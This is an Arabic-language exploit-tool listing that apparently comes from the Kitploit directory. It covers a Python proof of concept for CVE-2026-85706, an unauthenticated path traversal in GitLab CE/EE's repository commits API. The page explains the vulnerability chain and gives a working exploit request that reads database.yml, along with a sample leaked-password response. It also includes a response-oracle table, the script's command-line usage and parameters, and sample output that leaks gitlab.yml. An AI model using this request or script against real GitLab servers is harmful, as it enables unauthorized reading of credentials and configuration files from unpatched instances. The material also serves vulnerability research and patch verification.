Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-85706 — Python PoC لـ CVE-2026-85706، وهو اجتياز مسار غير مُصادَق عليه في GitLab CE/EE Repository Commits API يؤدي إلى تسريب ملفات محلية عشوائية عبر أوراكل رباعي الحالات. | Kitploit
أدوات/GitHubGitHub/mhtsec/cve-2026-85706
الاستطلاعتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبتسريب البياناتجمع المعلوماتأمن الويباختبار الاختراق
GitHubmhtsec/cve-2026-85706

CVE-2026-85706

Python PoC لـ CVE-2026-85706، وهو اجتياز مسار غير مُصادَق عليه في GitLab CE/EE Repository Commits API يؤدي إلى تسريب ملفات محلية عشوائية عبر أوراكل رباعي الحالات.

عرض المستودع
1منذ 11س 22دلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-85706: اجتياز المسار غير المُصرَّح به في GitLab CE/EE

  • CVE: CVE-2026-85706، CVSS 3.1 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
  • المكوّن: GitLab CE/EE Repository Commits API (نسخة Workhorse body-upload)
  • التأثير: 18.7 ≤ version < 19.1.8، 19.2.0–19.2.5، 19.3.0–19.3.1
  • الإصلاح: 19.1.8 / 19.2.6 / 19.3.2 (إصدار التصحيح الحرج بتاريخ 2026-09-10)
  • الخطورة: اجتياز المسار دون الحاجة إلى أي حساب لقراءة أي ملف محلي على الخادم؛ تعتمد إمكانية إظهار المحتوى على الملف الهدف، مما يشكّل أوراكل رباعي الحالات (انظر «حدود الإظهار»)

سلسلة الثغرة

تتيح واجهة API الخاصة بـ «إنشاء commit» في GitLab (POST /api/v4/projects/:id/repository/commits) إرسال محتوى عدد كبير من الملفات في طلب واحد. لتجنّب دخول جسم الطلب الضخم مباشرة إلى محلّل Rails، يقوم Workhorse أولاً بكتابة جسم الطلب إلى ملف مؤقت على القرص، ثم يحقن بيانات وصفية مثل file.path / file.size في الطلب المُعاد توجيهه، ويقرأ نقطة نهاية Rails الملف بناءً على هذه المعاملات. تتشكّل سلسلة الثغرة من تراكب أربع حلقات:

  1. المصادقة تأتي بعد قراءة الملف: مدخل post ':id/repository/commits' يحتوي فقط على require_gitlab_workhorse! (الذي يتحقق فقط من أن الطلب «مُعاد توجيهه عبر Workhorse»)، بينما authenticate! الحقيقي مخفي في authorize_push_to_branch! اللاحق، وتحدث قراءة اجتياز المسار قبله.
  2. البيانات الوصفية المكتوبة على القرص مأخوذة من معاملات الطلب: يأخذ file_params_from_body_upload معاملات الطلب file.path / file.size / Content-Type مباشرةً كبيانات وصفية محقونة من Workhorse، دون التمييز بين مصادر المعاملات، فيكفي File.read(file_path) لاجتياز أي مسار محلي.
  3. إظهار أخطاء تحليل Rack: عند Content-Type=application/x-www-form-urlencoded، يُسلَّم محتوى الملف إلى Rack::Utils.parse_nested_query للتحليل؛ فتؤدي تسلسلات % غير الصالحة في المحتوى إلى ArgumentError: invalid %-encoding (<محتوى المكوّن>)، الذي يُظهر كما هو في استجابة 400 عبر bad_request!. الإظهار بالأسبقية: & / = هي حدود المكوّنات، ويتوقف التحليل عند أول % غير صالح في المكوّن الذي يحتويه ويُظهر ذلك المكوّن، وعند غياب الفواصل يُظهر الملف بأكمله كمكوّن واحد (لا تؤدي تهريبات %xx السداسية عشرية الصالحة إلى الخطأ).
  4. الشرطة المائلة اللاحقة تتجاوز إعادة كتابة Workhorse: استهداف نقطة النهاية الرئيسية مباشرةً يصطدم باعتراض body-upload في Workhorse (الذي يطابق بدقة .../repository/commits\z)، فتُبتلع المعاملات المزوّرة داخل محتوى الملف المكتوب على القرص. أما إضافة / في نهاية URL فلا تطابق تلك القاعدة، فتسقط إلى الوكيل العكسي الموقّع الاحتياطي — الذي يمرّر جسم الطلب الأصلي مع المعاملات المزوّرة كما هي إلى Rails مصحوبًا بـ JWT صالح، فينجح require_gitlab_workhorse!؛ وبعد تطبيع Grape للشرطة المائلة اللاحقة يظل الطلب يصيب معالج الثغرة.

الشروط المسبقة: يجب أن يكون :id في URL مشروعًا موجودًا فعلاً (أي مشروع عام يكفي)، ودون تسجيل دخول على الإطلاق.

طلب الاستغلال (database.yml في نشر بقاعدة بيانات خارجية، حيث تُظهر كتلة كاملة عند احتواء كلمة المرور على تسلسل % غير صالح):

root@kitploit:~
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

file=&file.path=/var/opt/gitlab/gitlab-rails/etc/database.yml&file.size=1&Content-Type=application/x-www-form-urlencoded

الاستجابة (إظهار كتلة المكوّن الذي يحتوي أول % غير صالح بالكامل):

root@kitploit:~
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (production:\n  adapter: postgresql\n  username: gitlab\n  password: \"P@ss%w0rd\" ...)"} 

حدود الإظهار (أوراكل رباعي الحالات)

تُنفَّذ القراءة بهوية مستخدم git الخاص بعملية Puma، وتشكّل الاستجابة أوراكل رباعي الحالات:

نطاق القراءة الفعلي في النشر الافتراضي (مُختبَر عمليًا):

  • الساحة الرئيسية لقراءة المحتوى هي الملفات التي تحتوي % بطبيعتها: سجلات ومخرجات بناء CI، المرفقات التي يرفعها المستخدمون، database.yml في نشر بقاعدة بيانات خارجية. في database.yml يكون حقل كلمة المرور فارغًا في ظل مصادقة peer عبر socket المحلية الافتراضية، ولا تظهر له قيمة إلا في نشر بقاعدة بيانات خارجية.
  • gitlab.yml: توجد تعليقات القالب المُصيَّر في رأس الملف (حوالي السطر 19) بتسلسلات مثل 95% و%{key}، بينما توجد إعدادات بيانات الاعتماد (incoming_email، LDAP، التخزين الكائني، إلخ) بعد السطر 170 — وبالأسبقية يعني ذلك أنه في النشر الافتراضي لا يمكن إظهار سوى المقطع الأول، ولا يمكن قراءة مقطع بيانات الاعتماد؛ ولا يمكن قراءته إلا في نسخ النشر الخالية من التسلسلات المتداخلة (قوالب مخصصة، إلخ). لاحظ أيضًا أن كلمة مرور SMTP (gitlab_rails['smtp_password']) لا تُصيَّر في gitlab.yml، وإنما تُصيَّر فعليًا بيانات اعتماد incoming_email وLDAP وobject_store.
  • secrets.yml سداسي عشري خالص لا يحتوي %، فلا يمكن إظهار محتواه (401)؛ أما gitlab.rb ومفاتيح TLS الخاصة والأرشيفات الاحتياطية فهي حصرية للمستخدم root (أوراكل 500 فقط).

استخدام السكربت

مُنفَّذ بمكتبة Python 3 القياسية، دون تبعيات خارجية. يقرأ السكربت النتائج رباعية الحالات تلقائيًا وفق الجدول أعلاه.

root@kitploit:~
python3 exploit.py -t http://<target>:<port>        # 默认读 gitlab.yml(快速验证回显)
python3 exploit.py -t http://<target>:<port> -f /etc/passwd

مثال على المخرجات (قراءة gitlab.yml في النشر الافتراضي — المُظهَر هو المقطع الأول وليس مقطع بيانات الاعتماد):

root@kitploit:~
============================================================
  CVE-2026-85706 | GitLab unauth path traversal | @mhtsec
============================================================
[*] CVE-2026-85706 targeting http://<target> -> /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] HTTP 400 | leaked
[+] Leaked content of /var/opt/gitlab/gitlab-rails/etc/gitlab.yml:
------------------------------------------------------------
# This file is generated by GitLab. Manual changes will be
# overwritten! ...
------------------------------------------------------------

للاستخدام فقط في اختبارات الأمان المُصرَّح بها وأبحاث الثغرات.

تنزيل الأداة
الاستجابةالمعنىمثال
400 local file not presentالملف غير موجود/etc/nonexistent
500 Internal Server Errorموجود لكن مستخدم git لا يملك صلاحية القراءة (Errno::EACCES غير معالَج)؛ كما تسقط أخطاء تحليل فرع multipart للملفات القابلة للقراءة إلى 500/etc/shadow، /etc/gitlab/gitlab-secrets.json
401 Unauthorizedموجود وقابل للقراءة، لكن المحتوى لا يحتوي تسلسل % غير صالح، فلا إظهار/etc/passwd، /proc/self/environ
400 invalid %-encoding (<المحتوى>)موجود وقابل للقراءة ويحتوي تسلسل % غير صالح — تُظهر كتلة المكوّن الذي يحتويه بالكاملسجلات تحتوي %، مخرجات بناء CI، database.yml في نشر بقاعدة بيانات خارجية
  • الأوراكل رباعي الحالات بحد ذاته بدائية استطلاعية: استكشاف بنية المسارات الداخلية، والتلصص الذاتي على العمليات عبر /proc/self/*، واستكشاف وجود المشاريع الخاصة عبر تحويل معرّف المشروع إلى مسار @hashed.
  • المعاملالوصف
    -tعنوان GitLab الهدف (إلزامي)، مثل http://<target>:<port>
    -fالمسار المطلق المراد قراءته (الافتراضي /var/opt/gitlab/gitlab-rails/etc/gitlab.yml)
    -pمعرّف المشروع، أي مشروع موجود فعلاً يكفي (الافتراضي 1)
    -oحفظ المحتوى المقروء في ملف محلي